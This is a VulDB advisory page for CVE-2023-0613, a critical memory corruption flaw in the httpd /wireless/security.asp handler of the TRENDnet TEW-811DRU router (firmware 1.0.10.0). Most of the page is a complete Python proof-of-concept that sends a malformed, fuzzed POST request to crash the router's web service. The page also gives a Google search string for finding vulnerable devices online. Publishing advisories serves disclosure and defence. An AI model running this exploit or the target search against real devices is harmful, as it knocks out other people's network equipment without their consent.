TRENDnet TEW-811DRU 1.0.10.0 httpd /wireless/security.asp memory corruption

Summaryinfo

A vulnerability marked as critical has been reported in TRENDnet TEW-811DRU 1.0.10.0. This vulnerability affects unknown code of the file /wireless/security.asp of the component httpd. This manipulation causes memory corruption. This vulnerability is tracked as CVE-2023-0613. The attack is possible to be carried out remotely. Moreover, an exploit is present.

Detailsinfo

A vulnerability has been found in TRENDnet TEW-811DRU 1.0.10.0 and classified as critical. Affected by this vulnerability is an unknown code of the file /wireless/security.asp of the component httpd. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect availability.

The weakness was disclosed 02/01/2023. This vulnerability is known as CVE-2023-0613. Technical details and also a public exploit are known.

A public exploit has been developed in Python. It is possible to download the exploit at vuldb.com. It is declared as proof-of-concept. By approaching the search of inurl:wireless/security.asp it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

device_web_ip = '192.168.10.1'

request = {'HEAD': 
{'Host': b'Z', 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 
'Accept': b',\x80gpsiation//xm', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': b'enc\xbc\xbc\xbc', 
'Content-Length': '1209', 
'Origin': 'http://0.0.0.0:8080', 
'Connection': 'keep-alive', 
'Referer': 'http://0.0.0.0:8080/wireless/security.asp', 
'Cookie': 'expandable=3c', 
'Upgrade-Insecure-Requests': b'\x1d2'
}, 
'PARAM': 
{b'ecOe': b'/wireless/srcuri\x81\x80.asp', 
b'\x86od}': 'Qy4zq80U9FFhnKc0BBTA', 
'wl_wps_mode': b'd\x10saDte\x80', 
b'\x96\x96': b' 5', 
'wl_bssid': b'SS', 
'security_mode': b'OO:E', 
b'\x88l\x88l_eu_aZ': 0, 
'wl_auth_mode': 'none', 
b'cc@@zw(': 'enabled', 
'wl_akm': b'', 
'wl_akm_wpa': b'b\x85nd', 
'wl_akm_psk': 'disabled', 
'wl_akm_wpa2': b'disniled', 
'wl_akm_psk2': b'\xd3isabled', 
'wl_wai_cert_index': '', 
'wl_wai_cert_status': '', 
b'\x00\xffak\xffakvv_w': 'disabled', 
b'wkm_wl_akm_wapi\x05\xff\xff': 'disabled', 
'wl_key': 2, 
b'\x01': 'abcde', 
b'wl{k@{': 'abcdefabcdefe', 
b'Sk': b'\x01\x8b\x00', 
b'7l_+ey': b'a\x80\x00\x00\x01\x8f', 
'wl_macmode': b'a\x1c(\x1a\xc2\xba\x04\x00al', 
'wl_maclist': 48, 
b'\x7fmmAc3t0t0': '00:0c:29:d9:40:fe', 
b'wl_mac\xc3\x8f?\xc3\x86\x045\x00\x80\x1b\xc3\x88\xc3\x96\xc3\xa4S\xc2\x96\xc2\x96$\x00Dh\xc3\xb4\xc3\x9flis\xc3\x8b\x0bX>\t\xc2\xaaQ\x03': '00:0c:29:d9:40:ff', 
b'glFqacKist2': b'2:0c\x8029::@BJ40!fd', 
b'lmaylistaclma': '', 
'wl_maclist4': '', 
'wl_maclist5': b'', 
b'wleAaclb\x7fg': b'', 
'wl_maclist7': b'', 
b'l_++++wlP++++++*+': '', 
'wl_maclist10': b'', 
'wl_maclist11': b'', 
b'w\xff\xff\xee\xff\x86ist\x80\x002': b'', 
b'wl_wlcl\x05\xff\xff\x053': '', 
b'hl@\x81B_\x7f\xff\x00\xff14': b'', 
b'w@_maclis': '', 
'wl_maclist16': b'', 
b'wU_maczist17': b'', 
'wl_maclist18': b'', 
'wl_maclist19': b'', 
b'w\xc2\x98\x0b$jl\x87mlym!cw\xc2\x98\x0b$jl\x87mlym!c\x9ai': b'', 
b'w|\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1': b'', 
b'a\x00\x00\x02\x00': '', 
'wl_maclist23': '', 
'wl_maclist24': b'', 
b'\xa9\x14\twl_maclis\xa9\x14\twl_maclist2': '', 
'wl_maclist26': b'', 
'wl_maclist27': '', 
'wl_maclist28': '', 
b'wl_l_m\xba\xba\xba\xba\xba\xba': b'', 
b'l\xff\xff\xfd\xff\xff': b'', 
'wl_maclist31': b'', 
b'J': b'', 
b'wl_macli\xfft\x00\x02': b'', 
'wl_maclist34': b'', 
'wl_maclist35': '', 
b'\x8dlTmaclist36': '', 
'wl_maclist37': '', 
'wl_maclist38': '', 
'wl_maclist39': '', 
'wl_maclist40': '', 
b'sl_maclicl': '', 
b'\x90l': b'', 
b'wW_maclist4\xb3': '', 
'wl_maclist44': b'', 
'wl_maclist45': '', 
'wl_maclist46': b'', 
'wl_maclist47': b'', 
b'\x00\x08\x7f': 'Apply', 
'wan_apply': '<!--#tr id=', 
'mg.alert.7': '', 
'wl_key4': b'Q', 
b'alg.alg.05': b'', 
'wl_maclist15': b'', 
'expandable': b'', 
b'\xff\xff\xff\xff45': 4
}, 
'ATTR': 
{'URL': 'http://{}/wireless/security.asp'.format(device_web_ip), 
'METHOD': 'POST', 
'VERSION': 'HTTP/1.1'
}
}

headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']

try:
  r = requests.request(method=method,url=url,headers=headers,data=urlencode(params),verify=False,timeout=5)
  print('Finish attack, to check web state.')
except Exception as e:
  print('error:{}'.format(e))

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Vendor

• TRENDnet

Name

• TEW-811DRU

Version

• 1.0.10.0

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #76278: Web crash on TRENDnet router TEW-811DRU (by leetsun)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion